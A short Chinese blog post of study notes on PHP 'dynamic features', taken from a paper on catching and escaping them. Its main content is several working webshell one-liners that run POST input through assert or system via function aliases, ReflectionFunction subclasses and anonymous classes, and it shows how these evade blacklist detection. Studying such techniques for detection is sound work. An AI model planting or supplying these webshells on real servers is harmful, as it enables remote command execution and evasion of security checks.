PHP动态特性学习
2021/4/10 20:11:33
本文主要是介绍PHP动态特性学习,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
PHP动态特性学习
主要是学习这个pdf 《PHP动态特性的捕捉与逃逸》github
PHP动态特性的定义是作者所定义的,大概就是说是我们无法确定一段代码或者程序的具体功能,即存在动态性的功能变化,而所用到的几乎所有webshell都会用到动态特性
比如
$arr = [$_GET,$_POST,$_COOKIE]; array_map($callback,...$arr);
如果callback被控制,改成assert等操作,就会变成webshell
-
PHP是一个大小写不敏感的语言,可以利用大小写绕过对函数的判断,利用函数名大小写,绕过对敏感函数的检测
-
PHP底层存在一个PHP_FALIAS宏,作用是赋值给一个函数一个新的"别名",比如show_source函数就是highlight_file别名
在PHP7后preg_replace的e模式删除了,但是mbereg_replace的e模式还存在
-
PHP5.6之后支持函数别名,使用use function a as b来导入a,即下面的b代表a,因此可能会出现下面的木马
use function \assert as test; test($_POST[2333]);
或者利用类的继承操作来绕过黑名单
class test extends ReflectionFunction{} $f = new test('system'); $f->invoke($_POST[2333]);
php7的匿名类
$f = new class('system') extends ReflectionFunction{} $f->invoke($_POST[2333]);
这篇关于PHP动态特性学习的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-03-29env: php: no such file or directory
- 2024-03-01php foreach break
- 2024-02-26Exception参数 php-icode9专业技术文章分享
- 2023-12-30PHP文件批量上传-icode9专业技术文章分享
- 2023-12-30thinkphp6 withJoin-icode9专业技术文章分享
- 2023-12-27MagicArray:像php一样,让Go业务代码不再卷!
- 2023-11-18centos7编译安装PHP教程。
- 2023-11-18centos7编译安装phpMyAdmin教程。
- 2023-10-13唱衰这么多年,PHP 仍然还是你大爷!
- 2023-07-25PHP8,性能更好,语法更好,类型安全更完善